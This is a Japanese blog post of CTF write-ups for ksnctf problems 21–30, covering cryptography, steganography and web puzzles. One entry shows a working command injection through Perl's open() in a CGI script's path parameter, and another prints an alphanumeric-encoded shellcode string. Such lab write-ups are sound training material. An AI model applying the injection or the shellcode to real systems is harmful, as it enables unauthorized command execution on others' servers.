好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

ksnctf write-up #3 (#21~#30)

kusuwada.hatenablog.com

ksnctf write-up #2 (#11~#20)

の続き

f:id:kusuwada:20180917223442p:plain

Perfect Cipher 200pt (解けていない)

問題

It is proved that the one-time pad is information-theoretically secure.

http://ksnctf.sweetduet.info/q/21/encrypt.zip

解答

まず one-time padググるwikipediaより

ワンタイムパッド (one time pad, OTP) とは、乱数列を高々1回だけ使う暗号の運用法である。1回限り暗号、めくり暗号などとも呼ばれる。

これだけじゃよくわからんので一応全部読んでみた。

問題文のリンクにはzipがある。こんな感じ。

encrypt/
├── encrypt.cpp
├── encrypt.enc
├── flag.enc
├── mt19937ar.cpp
└── mt19937ar.h

あーcppだなぁ。

encrypt.cpp の main() を見てみると、 "seed" というファイルで初期化して、まずは自身(encrypt.cpp) をencrypt.keyを使って暗号化している。暗号化された結果は encrypt.enc として保存され、このファイルは配布されている。
次に flag.jpgflag.key を使って暗号化している。暗号化された結果は、 flag.enc として保存され、これも配布されている。
というところで、きっと encrypt.cpp の方は平文も渡されているから、この encrypt.cpp - encrypt.enc のペアを参考に、 flag.enc から flag.jpg をdecryptするのかな?と推測。

"seed" というファイルで初期化処理を行っているが、この "seed" ファイルは配布されていない。

encrypt処理の自体は下記の二行に集約されている。

dword k = genrand_int32();
dword c = p^k;

dwordunsigned char, k は key, c は cipher p は plain なので、暗号テキストは平文を鍵でXORしたものになっていることがわかる。更に、 key は generand_int32 関数を呼び出して生成されている。

ここで generand_int32 関数の実態がわからなったのでググってみると、どうやら メルセンヌ・ツイスタ という乱数発生アルゴリズムらしい。

http://www.sat.t.u-tokyo.ac.jp/~omi/random_variables_generation.html

XOR というと、再度XORしてやるともとに戻る性質があるので、

dword p = c^k;

という式が成り立つ。実際にencrypt.cpp内に用意されているdecrypt関数内でも上記の式が書かれている。なので、もし万が一、鍵が推測できれば、平文は入手できそう。しかしkeyのファイルは配布されていないし、seedのファイルも配布されていない。そして encrypt.cpp の暗号化に用いたときの鍵と flag.jpg の暗号化に用いたときの鍵は異なるので推測ができなさそう。

まぁいいや、とにかく encrypt.key を出してみよう。

c = p^k なので
k = p^c

encrypt.cpp と encrypt.enc の排他論理和を求めたら、これが encrypt.key (encrypt.cppを暗号化した際の鍵、というか疑似乱数) が求められそう。

#!/usr/bin/env python
# -*- coding:utf-8 -*-

plain = bytearray(open('encrypt.cpp', 'rb').read())
cipher = bytearray(open('encrypt.enc', 'rb').read())

key = []

for i in range(len(plain)-1):
    key.append(plain[i] ^ cipher[i])

with open('encrypt.key', 'wb') as file:
    file.write(bytes(key))

これで encrypt.key が求まった...はず。

Mersenne Twister genrand_int32 あたりのワードで検索をかけると、ももいろテクノロジーさんがヒット。

Mersenne Twisterの出力を推測してみる - ももいろテクノロジー

フムフム、なんと。Mersenne Twister の疑似乱数は、いくつかの出力を観測することで、皇族の出力を観測できるらしい。
今回 encrypt.cpp -> encrypt.enc (keyをmersenne twister で生成) と flag.cpp -> flag.enc (同じくkeyをmersenne twisterで生成) の処理が連続して行われているので、これを使えばflag.keyが推測できるのかしら・・・?

と言ったところまで考えて、ももいろテクノロジーさんのところで紹介されているスクリプトを参考に組んでみたけどもうまく行かず。これはいつかリベンジしたいなぁ。

Square Cipher 60pt

問題

oomktvziqtaovmmpxzoqrzsxlpwpgoj
uDQEMISYnnVYnvyWRhHsDXnSCXAVVZj
tZbknedErdpvAwQWpUiLqOxIqpafvXp
dXoAVWcKppbEPuaqmXWjXJwRoRFOoEg
pDiRUXlQjKJlslskVpGwtljGyVJPxHv
bQsQNKxCsdYMdQPJiBmyrsuOrJQOtXg
pMekeinUaMoDXqFzweLKipkBuggnsUv
eQFYCJSKfBgHaJgZnZoWmOmAOJLVQHi
hljrplajyKNXtwmfOjRwOqcqeeplyzy
gkFOltsOyrPgIaerIaSjQQaVMyEhfyd
vEaRHbBzfrcwJbCZmHdddLpuEJwspbt
sXQGkwpKaTZmWJiZzpbkpHNiToawxKn
wJpIKbGhnLjVAJNcxrqkKEJCKCOocSv
mTRDNDpFtRUmcHoRELeSqXoGUIIsuYu
ajeHaSVlQGLaEprSQarDzTomJdAWfqb
zIJLHRBXMvNDegYeaoVRDuWBbdSBtLv
xIeKdAYwajGHMgRLDGgDinBiLNBgatb
kHepNsCQSJjTRmQrCHYWJqIPOVAUOer
rvhmZfmogPglGNuLyAuSivBctlvVfzb
qBJdHUkSaTArlgkhtHPyGhXOPkwmkBq
rvbzZfwvLtTnhyXVHPlwsuGZQnNiNcm
yCMtAVwYVgtZHVNznolGMBETIHFmoWj
wfezbysbvOzsAhxSZFFAfOouyHldEYh
gNHKKSFUtcUxfRyXHMugYBtAxBwDJZh
rHmsozuNeoJqyzMDHsNbUDwzaNLtdxr
bVmQMHyNndOWCZLnhrPxZXCYLDTWQre
aSiEEJjZtoRpUzgsxsiiGzvnRpKLMrk
qTzGCKvNhUhjrmCjAdwQAvkgqHyJZLm
sSxzwjxAnWesTszIxirRwcWIXUPtwwa
nTDEMTRGyhzdCtkTTDWbxdSjsNYlfXz
eawtidzosgaofjxxyfcdoiulemirqap

解答

タイトルの square cipherググると、こんなのが見つかった。

Four-square cipher - Wikipedia

The four-square cipher is a manual symmetric encryption technique. It was invented by the famous French cryptographer Felix Delastelle.

このwikipediaの解説を読んで、Four-Square Cipherアルゴリズムを把握。
しかし与えられた文字列は一行あたり奇数なので、果たしてこのアルゴリズムで合ってるのか怪しい(four-square copherでは、頭から2文字ずつのペアにして暗号化・復号する必要がありそう)
あとは、暗号化する際に2つほどKeywordが必要なんだけど、そのヒントは与えられていない。強いて言うなら square, cipher くらいか。
下記サイトでお手軽に試せるらしいので、 square, cipher をkeyとして一行ぶん試しにDECODEしてみた。

Four-Square Cipher - Crypto Corner

qsrlqzwedratylsazxrsezcvnexblq

うん、意味わからん感じになった。違うっぽい。ちなみに復号じゃなくて暗号化してみても意味わからん感じになった。

KMLAMYYFPOAGWGLKZXGTTWOXLGZKDK

他にも Two-Square CipherPolybius Square Cipher なんてのも見つけたけど、どちらもencrypt後の文字列が必要なので違うっぽい。

正方形と言えば、Vigenere Cipher(ヴィジュネル暗号)の対応表も疑ったが、Alphabet数の26行じゃないことと、encrypt後の文字列も与えられていないので違うっぽい。

31行×31列の正方形。何か意味があるのか?素数だからいくつかのブロックに分割もできないぞ。
使われているのはalphabetの大文字小文字のみ。
そもそも大文字小文字の区別には意味があるのか?正方形に見立てた場合、外周の部分だけ全部小文字なのも気になる。

試しに大文字と小文字で分けてみた.。

---[lower]---
['oomktvziqtaovmmpxzoqrzsxlpwpgoj',
 'unnnvyhsnj',
 'tbknedrdpvwpiqxqpafvp',
 'docppbuaqmjwoog',
 'piljlslskpwtljyxv',
 'bsxsddimyrsurtg',
 'pekeinaoqzweipkuggnsv',
 'efgagnommi',
 'hljrplajytwmfjwqcqeeplyzy',
 'gkltsyrgaerajayhfyd',
 'vabzfrcwbmdddpuwspbt',
 'skwpamizpbkpioawxn',
 'wpbhnjcxrqkocv',
 'mptmcoeqosuu',
 'ajealaprarzomdfqb',
 'zvegeaoubdtv',
 'xedwajgginigatb',
 'kepsjmrqer',
 'rvhmfmoggluyuivctlvfzb',
 'qdkarlgkhtyhkwmkq',
 'rvbzfwvtnhylwsunicm',
 'ytwgtznolmoj',
 'wfezbysbvzshxfouyldh',
 'gtcxfyugtxwh',
 'rmsozueoqyzsbwzatdxr',
 'bmyndnhrxre',
 'aijtopzgsxsiizvnprk',
 'qzvhhjrmjdwvkgqym',
 'sxzwjxnesszxirwctwwa',
 'nyhzdtkbxdjslfz',
 'eawtidzosgaofjxxyfcdoiulemirqap']
---[UPPER]---
['',
 'DQEMISYVYWRHDXSCXAVVZ',
 'ZEAQWULOIX',
 'XAVWKEPXWXJRRFOE',
 'DRUXQKJVGGVJPH',
 'QQNKCYMQPJBOJQOX',
 'MUMDXFLKBU',
 'QFYCJSKBHJZZWOAOJLVQH',
 'KNXORO',
 'FOOPIISQQVME',
 'ERHBJCZHLEJ',
 'XQGKTZWJZHNTK',
 'JIKGLVAJNKEJCKCOS',
 'TRDNDFRUHRELSXGUIIY',
 'HSVQGLESQDTJAW',
 'IJLHRBXMNDYVRDWBSBL',
 'IKAYGHMRLDGDBLNB',
 'HNCQSJTRQCHYWJIPOVAUO',
 'ZPGNLASBV',
 'BJHUSTAHPGXOPB',
 'ZLTXVHPGZQNN',
 'CMAVYVZHVNGMBETIHFW',
 'OASZFFAOHEY',
 'NHKKSFUURXHMYBABDJZ',
 'HNJMDHNUDNL',
 'VQMHNOWCZLPZXCYLDTWQ',
 'SEEJZRUGRKLM',
 'TGCKNUCAQAHJZL',
 'SAWTIRWIXUP',
 'TDEMTRGCTTDWSNYX',
 '']

うん、特に発見なし。でもやっぱり外周だけ全部小文字なのは気になるんだよなー。ということで出力方式を変更。「外周が全部小文字」以外の大文字小文字の出現パターンが無いか見るために、大文字小文字で思い切って2値にして出力してみる。

['1111111111111111111111111111111',
 '1000000011001110010100100000001',
 '1011111011110100101010101111101',
 '1010001011100111100100101000101',
 '1010001010011111010111101000101',
 '1010001011001000101111101000101',
 '1011111010100101110011101111101',
 '1000000010101010101010100000001',
 '1111111110001111010101111111111',
 '1100111011010111010100100101111',
 '1010010111110100101110110011111',
 '1000111010010010111110010111101',
 '1010010110100001111100000001101',
 '1000001010011010001010100001101',
 '1110100100010110011010110100111',
 '1000000001001101110001001100101',
 '1010100111000100001011010001111',
 '1011010000100101000001000000011',
 '1111011110110010101011011110111',
 '1001001010011111100101000111101',
 '1111011101011100001111000101011',
 '1001001001100001111000000001101',
 '1111111110110110000010111011001',
 '1000000011011010001100101010001',
 '1011111011011100010100111001111',
 '1010001011000001110100000000011',
 '1010001011010111111101110100011',
 '1010001010111101011001111010001',
 '1011111010110110111011000001111',
 '1000000011110110000111011001101',
 '1111111111111111111111111111111']

わからん。外周が全部1であることも目を凝らさないとわからん。1と0が視覚的にそんなに違わないのが原因か。1と8とか■と□など視覚的に結構違うパターンをいくつか試したが、 1- にしたところで何かが見えた。

['-------------------------------',
 '-0000000--00---00-0-00-0000000-',
 '-0-----0----0-00-0-0-0-0-----0-',
 '-0-000-0---00----00-00-0-000-0-',
 '-0-000-0-00-----0-0----0-000-0-',
 '-0-000-0--00-000-0-----0-000-0-',
 '-0-----0-0-00-0---00---0-----0-',
 '-0000000-0-0-0-0-0-0-0-0000000-',
 '---------000----0-0-0----------',
 '--00---0--0-0---0-0-00-00-0----',
 '-0-00-0-----0-00-0---0--00-----',
 '-000---0-00-00-0-----00-0----0-',
 '-0-00-0--0-0000-----0000000--0-',
 '-00000-0-00--0-000-0-0-0000--0-',
 '---0-00-000-0--00--0-0--0-00---',
 '-00000000-00--0---000-00--00-0-',
 '-0-0-00---000-0000-0--0-000----',
 '-0--0-0000-00-0-00000-0000000--',
 '----0----0--00-0-0-0--0----0---',
 '-00-00-0-00------00-0-000----0-',
 '----0---0-0---0000----000-0-0--',
 '-00-00-00--0000----00000000--0-',
 '---------0--0--00000-0---0--00-',
 '-0000000--0--0-000--00-0-0-000-',
 '-0-----0--0---000-0-00---00----',
 '-0-000-0--00000---0-000000000--',
 '-0-000-0--0-0-------0---0-000--',
 '-0-000-0-0----0-0--00----0-000-',
 '-0-----0-0--0--0---0--00000----',
 '-0000000----0--0000---0--00--0-',
 '-------------------------------']

おや!!!!!!!キタコレ!!!!!QRコードじゃん!これはもう解けたも同然。ここまで長かった・・・。

ちょっと画像描画スクリプトでも書くかなー?と思ったけど、面倒なので上記のテキストをちょいといじってエクセルに貼り付け、エクセルの書式設定で 0ならマスを黒くする をしたら、携帯のQRコード読み取りアプリですんなり読み込めた。

f:id:kusuwada:20180914043438p:plain

漂うエクセル感。久しぶりにQRコード問題(とは全く思っていなかったが)解いた。
そして、2値のマトリクスをテキストで視覚的にわかりやすく表示するには - を用いると良いという知見を得た。

Villager B 450pt (解けていない)

問題

To be more secure I enabled several security options as follows:
- Randomized addresses of the program (-pie)
- Protected the stack (-fstack-protector-all)
- Made GOT read-only (-Wl,-z,relro,-z,now)
- Executed via xinetd
- Inserted a wait in order to prevent brute force attacks
- Ascii armor is enabled

Can you still crack it?
nc/telnet ctfq.sweetduet.info 10001

Hint:
- The program is http://ctfq.sweetduet.info:10080/~q23/villager
- The flag is in /home/q23/flag.txt
- This will help you: http://ctfq.sweetduet.info:10080/~q23/libc.so.6
- Outbound packets are filterd. So, you cannot use (reverse) shells.

解答

1周目は Village A でワカランな感じだったので skip した。その後ジャンルを見ると [Binary(Pwnables)] とのことだったのでやらない。

Rights out 100pt (解けていない)

問題

Solving the puzzle is not sufficient.

http://ksnctf.sweetduet.info/q/24/rightsout.exe

パズルを解くだけではダメだよ、と。

解答

exeファイルなのでまず実行できるかが問題。

とりあえず起動させてみる。Wine on Mac で起動できた(๑•̀ㅂ•́)و✧

f:id:kusuwada:20180914044432p:plain

これはクリックしたマスと上下左右のマスが反転するので、全部を裏(?)に返す、的なゲームっぽい。
念の為 right(S) out で単語を調べてみると、「包み隠さずに」と言った意味があるらしい。

そもそもゲームもクリアできないし、pwnかreverseっぽいのでskipしていた。1周目終わってジャンル確認したらやっぱり [Binary(Reversing)] だったのでやらない。

Reserved 30pt

問題

length q chr uc and print chr ord uc qw q flock q and print chr oct ord q or no and print chr ord uc q each ne and print chr ord uc qw q gt q and print chr oct hex ord uc q my m and print chr ord uc q each ne and print chr ord qw q sin q and print chr oct ord uc q each le and print chr length q q splice srand getservbyname setnetent ne reset endprotoent foreach scalar rewinddir cos setnetent not else getprotobyname q and print chr ord qw q ge q and print chr ord uc q eval le and print chr ord uc qw q sin q and print chr ord uc qw q no q and print chr ord qw q use q and print chr ord q mkdir m and print chr ord q each le and print chr ord q pop and print chr oct ord q open no and print chr ord q eval le and print chr ord q eval le and print chr oct hex ord uc q gt log and print chr ord q q eq and print chr ord q q eq and print chr ord q q q and print chr ord qq q q and print chr ord uc q lt eval and print chr ord q chr lc and print chr ord q map m and print chr ord qw q ne q and print chr ord q mkdir m and print chr ord q q q and print chr ord q my alarm and print chr ord q pop and print chr ord qw q uc q and print chr oct oct ord uc qw q bind q and print chr ord q q eq and print chr ord q split s and print chr ord q open do and print chr ord q ge log and print chr ord qw q not q and print chr ord q oct no and print chr ord q xor x and print chr ord qw q die q and print chr ord q ne sin and print chr oct oct ord uc qw q fork q

解答

"qw" "chr" "flock" -ksnctf あたりのワードでググると、Perlppencode というのがヒットした。

ppencode - JAPH perl program encode

サンプルを見た感じ、ビンゴっぽい。
perlスクリプトとして実行してやれば良さそう。

#!/usr/bin/perl -w

を頭につけて .pl 拡張子で保存したファイル(reserved.pl)で

$ perl reserved.pl 

したらFLAGが出てきた。
検索力が試された感じだったが、ppencodeというのの存在を知れてよかった。こういうの多いな。

Sherlock Holmes 70pt

問題

http://ctfq.sweetduet.info:10080/~q26/index.pl

シャーロック・ホームズですってよ!!わくわく!

解答

問題のURLにアクセスすると、こんなサイトに飛ぶ。

f:id:kusuwada:20180915000734p:plain

各リンク先の A SCANDAL IN BOHEMIA Ⅰ,Ⅱ,Ⅲ は、おそらくシャーロック・ホームズの「ボヘミアの醜聞」の小説の一部がおいてある。
Topページとそれぞれの章のページの最下部にあるリンクは、Project Gutenberg というフリーのebookを扱っているページに飛ぶ。おそらく文章をここから引用しているのであろう。

しかしここでヒント・取っ掛かりが途切れた。
考えつくとすると、各文章から何文字おきかに字を抽出して飛ばし読みするとか?頭の文字だけ読んでいくとか?ただ何も指示がない。
まさか全文読んだら答えがわかる系?
なんだかなんでもありの謎解きっぽくて面白い。
まずは、リンク先のサイト(出典元)との差異がないか調べてみる。
。。。ない。全く同じ文章だ。

全然思いつかなかったので、ChromeのDeveloperToolでcookieやsession, storageを見たりしてみるがなにもない。

本当になにもないので、ディレクトリトラバーサルを期待し(というほど高尚なものでもないが)当てずっぽうで

http://ctfq.sweetduet.info:10080/~q26/index.pl/flag.txt

と入れてみると、こんなテキストが表示された。一歩前進!?
(小説の一部の載っているページが、全て http://ctfq.sweetduet.info:10080/~q26/index.pl/hogehoge だったため、このURIを入れてみたらいけた。
が、普通に http://ctfq.sweetduet.info:10080/~q26/ でアクセスするとファイル一覧が見れてしまうという脆弱性(ApacheのAutoindex設定)があったので、ここでflag.txtがあることがわかる、というのがきっと正規ルート

f:id:kusuwada:20180915000740p:plain

FROG_CroakCroak

How about to try to see the source code?

いやいや、一応全ページソースコード見たよ?何もなかったよ?   と思いつつ、このページのソースコードを読んで見る。

・・・なんの変哲もなさすぎる・・・。
カエルがけろけろ、という文言になにか意味があるのだろうか・・・。
ちなみに、エイヤで FLAG_FROG_CroakCroakFLAG_CroakCroak を投げてみたが違った。これ皆やったよね?

で、冷静に見直してみると、唯一、indexに出てきたファイルで見ていないものが。
そう、index.pl 自身である・・・。これに気づくのにめっちゃ時間かかった。

http://ctfq.sweetduet.info:10080/~q26/index.pl/index.pl

にアクセスしてみると、indexのコードが出てきた!何やら挑戦状が書いてある。

#!/usr/bin/perl
use CGI;

print <<'EOS';
Content-type: text/html; charset=utf-8

<!DOCTYPE html>
〜中略〜

# Can you crack me? :P
open(F,'cracked.txt');
my $t = <F>;
chomp($t);
if ($t eq 'h@ck3d!') {
print 'FLAG_****************<br><br>';
}
unlink('cracked.txt');
####



open(F,substr($ENV{'PATH_INFO'},1));

my $cgi = new CGI;
$cgi->charset('utf-8');
while(<F>) {
chomp;
s/FLAG_\w+/FLAG_****************/g;
print $cgi->escapeHTML($_)."<br>\n";
}

〜後略〜

ということで、途中の Can you crack me? :P のところを解読すればよし。
前半部分を見ると、どうやら h@ck3d! と書かれた cracked.txt が存在する時FLAGを表示するようになっているようだ。
じゃあどうやって cracked.txt を置くのか?のヒントが後半部分にある。
(誰かがcracked.txtを置いた後、どれくらいのスパンで削除されるのかが気になる・・・。スパンが長い場合は他人が置いたファイルに便乗できそうだし、短い場合は置いてから消えるまでに取りに行かないといけない。)
perlなんてほとんど触らないので、最初の open 関数の処理を調べようと思って perl open でぐぐったら、候補に"コマンド実行" と出てきたのでお言葉に甘えて検索してもらう。
すると、こんなページが。

コマンド

open によるコマンド実行 open() の第2引数を "コマンド名 |" とすることで、コマンドを実行し、その結果をファイルハンドルから読み込むことができます。

なにー!open関数の中にパイプがかけるのか!そこでコマンド実行してくれるのか。
じゃあコマンドは、

$ echo 'h@ck3d!' > cracked.txt

かな。これをパイプで繋いでurlエンコードして、pathに入れると

http://ctfq.sweetduet.info:10080/~q26/index.pl/%7c%20echo%20%27h%40ck3d%21%27%20%3e%20cracked%2etxt

一旦このURLにアクセスして、再度 index.pl が表示されるサイトにアクセスすると、わお!FLAGが表示された!凄い!楽しいいい!

Lives out 150pt (解けていない)

問題

Can you switch all the lights off?

http://ksnctf.sweetduet.info/q/27/livesout.exe

解答

リンク先のexeファイルを落としてくる。

$ file livesout.exe 
livesout.exe: PE32+ executable (GUI) x86-64, for MS Windows

うーん、MacOS上ではWINEを使っても動かず。 後回し。
2周目でジャンルを確認したら [Binary(Reversing)] だったのでやらない。

Lo-Tech Cipher 60pt

問題

http://ksnctf.sweetduet.info/q/28/secret.zip

リンク先のzipを普通に解凍すると secret.zip.cpgz が出現。あ、これ普通に解凍したらあかんやつや。エンドレス解凍祭りになるやつや。

$ file secret.zip
secret.zip: PNG image data, 640 x 480, 8-bit/color RGBA, non-interlaced

png image らしい。たしかにサムネイルには砂嵐的な絵が表示されていた。
lessコマンドでバイナリを目グレップしたところ、何やら中に他のpngファイルが隠れていそうだったので foremost ツールで分解を試みる。

$ foremost secret.zip
$ tree output
.
├── audit.txt
├── png
│   └── 00000000.png
└── zip
    ├── 00000186
    │   ├── share1.png
    │   └── share2.png
    └── 00000186.zip

※0000186.zipは一度解凍しました。

share1.png, share2.png を見てみるも、ちょっと格子状のパターンのある砂嵐な感じ。

f:id:kusuwada:20180915001307p:plainf:id:kusuwada:20180915001317p:plain

タイトルが Lo-Tech Cipher ということだけど、ローテクな暗号技術が使われてるってことかな?

Lo-Tech Cipher -ksnctf でググってみると、どうやら LC4 というcipherがlow-techなcipherとして紹介されている。

The low-tech cipher LC4 – Klausis Krypto Kolumne

他にもいくつか low-tech な暗号技術が紹介されている。
がしかし、どれも文字列に対する暗号技術で手計算でできる=low-tech ということになっている。
今回は zip そのもの然り、share1.png, share2.png 然り、画像ファイルである。あまりこれらが使えるとも思えない。

他、画像に対する lo-tech なcipher といえば、ローテクかどうかはわからないが "電子透かし" (Steganography) などか。これらはヒントがないと苦しい気がするが。。。

と思ったが、同じサイズの画像が2つ、しかもノイズっぽいイメージとなると、まずやってみることは唯一つ。 重ねて見る
ビンゴでした!

f:id:kusuwada:20180915001551p:plain

なんか文字出てきたよ!まだフラグじゃないみたい。
The last share is hidden in the ZIP
この share ってのが何を指すか良うわからんが、3枚目の画像ってことかしら?
そう言えばもう一枚、00000000.png ってのがあったな。重ねて見るか。

f:id:kusuwada:20180915001556p:plain

おお!出てきたよFLAG!!! こういう類のは Visual cryptography と言うらしい。感激!こういうの好き。SECCONからもなくなっちゃったしなぁ。
LC4とか全然関係なかった。

Double Blind 50pt

問題

Who is the author of this paper?
Of course, kusano, @kusano_k, ksn,... is not a correct flag.

http://ksnctf.sweetduet.info/q/29/paper.docx

解答

paper.doxを落として来たので開いてみる。中身はようわからんけどきっと関係ないでしょ。
まずは less コマンドでバイナリ表示させて必殺☆目grep。これでわかることもまぁまぁあるんだけど、今回はさっぱり。

やっぱり中身をちら見してググってみる。

P≠NP予想 - Wikipedia

これっぽい。このpaperのauthorが答え・・・ってわけでもなさそうだけども一応試してみる。
候補としては John Nash さんと Kurt Gödel さん。そもそもFLAG形式になってないし、of course, is not a correct flag なんだろうな。
・・・
まぁ違った。

気を取り直して。そもそもwordとか使わなさすぎて、どうやってauthor情報を見るかも知らん。Mac版だと ファイル > プロパティ > ファイルの概要 にあった。しかし空欄。

うーん、他に気になるところは・・・

  1. Conclusion Give me $1,000,000!!! щ(゚Д゚щ)

おや。100万ドルください、だそうですよ。関係あるかしらん。

後はタイトルの "Double Blind"。慎重にググってみる。Double Blind -ksnctf

二重盲検法 - Wikipedia

おや、二重盲検法、というのが引っかかった。

二重盲検法(にじゅうもうけんほう、英: Double blind test)とは、特に医学の試験・研究で、実施している薬や治療法などの性質を、医師(観察者)からも患者からも不明にして行う方法である。プラセボ効果や観察者バイアスの影響を防ぐ意味がある。この考え方は一般的な科学的方法としても重要であり、人間を対象とする心理学、社会科学や法医学などにも応用されている。この盲検化を含んだランダム化比較試験(RCT)は、客観的な評価のためによく用いられる。

フムフム。論文系だと、 Double Blind Review というのもあるらしい。
Double-Blind Review:論文執筆者を匿名にすると・・・ - むしのみち

「Double-Blind Review」システム下では、編集者以外は著者が査読者の名前を知ることもないし、査読者が著者を名前を知ることもないということです。

うーん、解法に絡んでくるのか・・・。
更に視点を変えて、挿入されていた図をGoogle画像検索にかけてみる。と、 PSPACE というキーワードがこれに当たるようだ。PSPACE で更にぐぐってみると、

PSPACE とは計算複雑性理論における複雑性クラスの一つ、Polynomial SPACE の略である。

うん?なんか超難しそう。ここまで来たらついでじゃ!ということで、Google Scholarで論文検索してみる。何個かの論文の著者をFLAG化して投げてみるものの、そもそもフォーマットFLAGにならんし絶対違うだろー。と思ってくる。

熱いお茶を飲んで休憩〜

そういえば、CTF for Girlsでやった問題で、wordが出てきた時、「wordはzipにして解凍するとばらせる」っていうのやってたなー。と思い出し、やってみる。

$ unzip paper.zip

沢山ファイルが出現したので、コマンドでFLAGがないか探してみる。

$ grep -r "FLAG_" .
$ grep -r "FLAG" .
$ grep -r "FLA" .
$ grep -r "FL" .
./word/document.xml ...(略)

正直 FLAG で出てこない時点で大丈夫かなー?と思ったが、 FL でヒットした。まぁ違うだろうと思って一応確認してみると、なんとFLAGっぽい。

descr="C:\Users\FLxAG_NTSCFTTKP5ZDDW\Documents\paper\P is equal to NP\remove_x\200px-Complexity_subsets_pspace.svg.png

FLxAG_FLAG_ になおして投げるとあたってた・・・。これは想定解なのかなぁ?

Alpha Mixed Cipher 80pt

問題

This encryption is useful for crackers.

VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIn9hkokN944VDxtfQkbh2CG6QyYE4nkpqp0lKBVtLlKpvULnksvs8LKQnwPnk5ffXPOWhd5JSQIUQN1iokQu0nk2LfD4dNk2egLNkBt4h1h6a9zlKBjR8NkBzQ07qJKysdt3ynkvTLKuQHnp1yoTqYP9lLlk49PD4WwYQxODMeQxGjKHtGK1lWTa8T5iqLKaJetS1JKCVnkTL0KlKqJwlvaJKlKvdlKFaM8LIrdtdglu18CH26hgYztlI8elIYRrHnnrntNzLQBZHooyoYoIoMY3ugtMk1nN8xbqclG7lFDF2kXnniokOyoniG5eXcXRLplGP2a58ecp26NqtrHT543e5BRK8slfDgzmYzFSfyo2uVdmYzbF0oK98lbrmoLLGUL14qBkXqqyoyoio3X0obXrx5pbHsQRGqusrphbmBE2S3C01iKk8QL5tDJOyXcrHQe0XgPepqxTvpovX42U8CIaqBKQSE8sFRTdsEde81OVRaX60bHPFblsqw76QIYoxRl7TGeNiKQtqXR0R2s0Q1BkOxP4qiP0PkOceWxAA

解答

この問題、100pt以下なのに解けた人数が私が見た時点で139人・・・

Cipher Alpha -ksnctfググると、こんなサイトが。

GC1CF6K Cipher Alpha (Unknown Cache) in South Australia, Australia created by Zytheran

どうやらリアルワールドの地図と宝探しを組み合わせたようなサービスらしいが、ここに何故か Alpha Cipher の解説が載っている。もしかしたら宝探し中に出題されるのかもしれない。
オリジナル問題の可能性もあるし、今回の問題は661文字と素数なので○×○の矩形に分解できない。中身だけさっと読んで他もあたってみる。
しかしこのサイト、なかなかおもしろそうである。

https://www.researchgate.net/publication/276196004_Alpha-Qwerty_Cipher_An_Extended_Vigenere_Cipher

これは Alpha-Qwerty Cipher というのを解説しているサイト。ヴィジュネル暗号の拡張だそうだ。ヴィジュネル暗号自体は26の英語で構成されるが、これに大文字小文字・数字や記号を加えた暗号方式だそう。
問題の文字列を見てみると大文字小文字・数字が混在しているし、この線はありかもしれない。
ありかもしれない、っていうのの確証が持てずにとりあえずやってみることって多いけど、よく徒労に終わるよね・・・。

今回の問題文、途中で I がやたらと並んでいるところか同じ文字が連続しがちなところがあるけど、ここはどういう風になるのか?がちょっとわからん。
この線で行く場合、不確定要素は下記。多すぎ。大丈夫か?

  • ヴィジュネル的に何文字ずらしてあるか
  • 大文字小文字・数字の並び順はあっているか
  • 記号は入っていないのか
  • 正解の文字列は果たして人が読めるものなのか?(更にencrypt, encodeしてあるやつじゃないか?だとしたらどうやって当てに行くかがわからん)
  • そもそもこのやり方であってるのか?

上記、自分の中で検討した結果、不確定要素やっぱどう考えても多すぎなので更に検索を重ねる。

ヒントの This encryption is useful for crackers. を検索の条件に盛り込んで検索してみると、もうクラッキングツールばかり引っかかってくる。めっちゃ簡単にクラッキングツールにアクセスできるんなだなーと感心。
cracker alpha mixed cipher -ksnctf でググったところ、下記のサイトを発見。

www.offensive-security.com

文字フィルタリングなどの対策により、英数字しか構成要素として許可しないような設定になっている環境にも攻撃のためのスクリプトを通したい。このために、英数字のみのシェルコードを生成する必要がある場合に用いるものらしい。

サンプルを見てみたところ、気になっていた 「Iがやたらと並んでいる」という特徴が一致している。大文字小文字・数字のみで構成されるという特徴も当てはまっているし、これはビンゴっぽいぞ。

ということは、冒頭の文字列はシェルコードということになる。
githubalphanumeric shellcode で検索し、decodeしてくれるライブラリがないか見てみたが、Readmeが書いてあって使えそうなものがなかなか見つからず。(それっぽいが使い方がぱっとわからないものならあった)
Encoderというか、alphanumericなshellcodeを生成する機能のあるライブラリならいくつか見つかったんだけど。
中を覗いて使えそうなのがあったので使ってみても、SegmentationFaultとかʅ(´-ω-`)ʃ 

で、Wikipediaをじっくり読んでみたら、 alpha3 という記載を発見。

ALPHA3, an alphanumeric shellcode encoder: Utility to encode normal machine code into alphanumeric (upper-case or mixed-case) ASCII or Unicode text.

リンク先に飛んでみると、 alpha3 というalphanumericなcodeへのencoderを発見。でもencoder。ここで再度、 alpha shellcode decoder などと検索ワードを変えてググってみると、下記サイトを発見。

The Los Hackers: Decode the shell code encoded by Alpha2

the strings below were prefix to the encoded shellcode and should be removed when decoding it. "TYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body mixedcase_ascii_decoder_body "jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"

とのことなので、該当部分あたりを削除した aplhanumeric code を、ここで紹介されているdecode用のcのコードをコンパイルして実行してみる。

